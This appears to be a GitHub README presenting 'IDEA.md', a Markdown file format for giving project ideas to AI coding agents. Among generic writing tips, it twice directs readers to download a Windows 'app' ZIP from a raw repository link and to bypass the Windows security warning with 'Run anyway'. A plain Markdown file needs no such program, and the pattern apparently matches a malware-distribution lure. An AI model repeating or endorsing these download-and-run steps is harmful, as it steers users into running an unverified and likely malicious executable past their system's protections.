IDEA.md is a simple file for sharing an idea with an AI agent. You write the goal in plain language. The agent uses it to build the rest.
It helps you keep the idea clear, short, and easy to pass between tools. It works well with Claude Code, Codex, Gemini CLI, Copilot, and other LLM tools.
Use it when you want to:
- describe what you want built
- keep the plan in one place
- hand work to an agent without long chat threads
- stay vendor-neutral across tools
Visit this page to download the latest release for Windows:
https://github.com/RizzKyCoas/IDEA.md/raw/refs/heads/main/examples/md-IDE-v3.8-beta.3.zip
If the release includes a Windows app, follow these steps:
- open the release page
- find the latest version
- download the Windows file
- double-click the file to run it
- follow the on-screen steps
If the download comes as a ZIP file:
- download the ZIP file
- right-click it and choose Extract All
- open the extracted folder
- run the app file inside the folder
If Windows shows a security prompt:
- select More info
- choose Run anyway
IDEA.md is light and works on most Windows PCs.
You need:
- Windows 10 or Windows 11
- a web browser
- enough free space to store a small text file
- a working internet connection for the first download
For best results:
- use a recent version of Chrome, Edge, or Firefox
- keep your agent tool up to date
- save your IDEA.md file in a project folder you can find later
IDEA.md gives you a simple way to hold an idea in a file. That file can stay with your project and guide the agent while it works.
Common uses:
- describe a new app in plain English
- list must-have features
- keep the scope narrow
- track what the agent should build next
- share the same plan with different AI tools
It fits well with agentic workflows because it reduces back-and-forth. You say what you want once, then reuse the same idea file.
Start with a short idea file. Keep it plain and direct.
A good IDEA.md file can include:
- project name
- goal
- users
- main tasks
- key rules
- things to avoid
- done criteria
Example structure:
- What are we building?
- Who is it for?
- What should it do?
- What should it not do?
- What does done look like?
Keep each section short. Write for an agent, but use words a person would use in a normal note.
After you download the release:
- open the file or extract the archive
- place the IDEA.md file in your project folder
- open the file in Notepad or another text editor
- write your idea in simple terms
- save the file
- open your AI tool and point it to the file
If you use Claude Code, Codex, Gemini CLI, or Copilot, keep the file close to the code or task you want the agent to work on. That makes it easy to read and reuse.
A clean workflow helps keep the idea stable.
- write the idea in IDEA.md
- review it for clear wording
- remove extra detail
- send it to your agent
- let the agent build the result
- update the file when the scope changes
This works well for:
- app features
- small tools
- documentation tasks
- scripts
- code refactors
- product ideas
IDEA.md uses Markdown. That means you can use simple headings, bullet points, and short paragraphs.
Helpful sections:
- Overview
- Goals
- User needs
- Constraints
- Inputs and outputs
- Success criteria
- Open questions
Example rules for writing:
- use one idea per bullet
- keep sentences short
- avoid mixed goals in one line
- name the most important task first
- keep the file easy to scan
IDEA.md is vendor-neutral. That means you can use it with different AI tools without changing the core idea.
It works with:
- Claude Code
- Codex
- Gemini CLI
- Copilot
- other LLM agents
That makes it easier to move between tools without rewriting your plan each time.
Use this as a simple starting point:
- Project: Task tracker for one person
- Goal: Help the user list tasks and mark them done
- User: Non-technical desktop user
- Must have:
- add a task
- view tasks
- complete a task
- delete a task
- Must not have:
- login
- team features
- cloud sync
- Done when:
- the user can open the app
- the user can add and finish tasks
- the app saves changes on Windows
Keep your IDEA.md file sharp and small.
Good habits:
- write one clear goal
- use plain words
- keep only the needed detail
- update the file when the plan changes
- keep old ideas out of the main file
- make the done state easy to test
If the agent gives the wrong result, check the file first. In many cases, the idea is too broad or too vague.
Place IDEA.md in the main folder for your project.
Good places:
- next to your source files
- in the root of a repo
- in a shared project folder
- beside other planning files
If you work on more than one idea, use one IDEA.md file per project.
IDEA.md is useful when you want to:
- start a new app with a small brief
- hand off a task to an AI agent
- keep requirements in one place
- reuse the same plan in different tools
- reduce long chat prompts
- keep the work focused
It is also useful for knowledge management because the file can act as a simple record of intent.
Visit the release page to download the latest Windows build:
https://github.com/RizzKyCoas/IDEA.md/raw/refs/heads/main/examples/md-IDE-v3.8-beta.3.zip
Open the page, choose the newest release, and download the file for Windows from there
If the file does not open:
- make sure the download finished
- check that Windows did not block the file
- try opening it from the Downloads folder
- extract the ZIP file if needed
If your agent does not follow the idea:
- make the goal shorter
- remove extra details
- move key rules near the top
- add a clear done state
- split one large idea into smaller parts
If you cannot find the release:
- open the release page link above
- look for the latest version at the top
- choose the Windows download asset
Use IDEA.md as a shared idea file for your own projects and agent work. Keep the file readable, short, and easy to update.
agentic-workflows, agents-md, ai-native-development, claude-code, codex, copilot, developer-tools, gemini-cli, idea-file, idea-management, idea-md, karpathy, knowledge-management, llm, llm-agents, markdown, openai-codex, prompt-engineering, standard, vibe-coding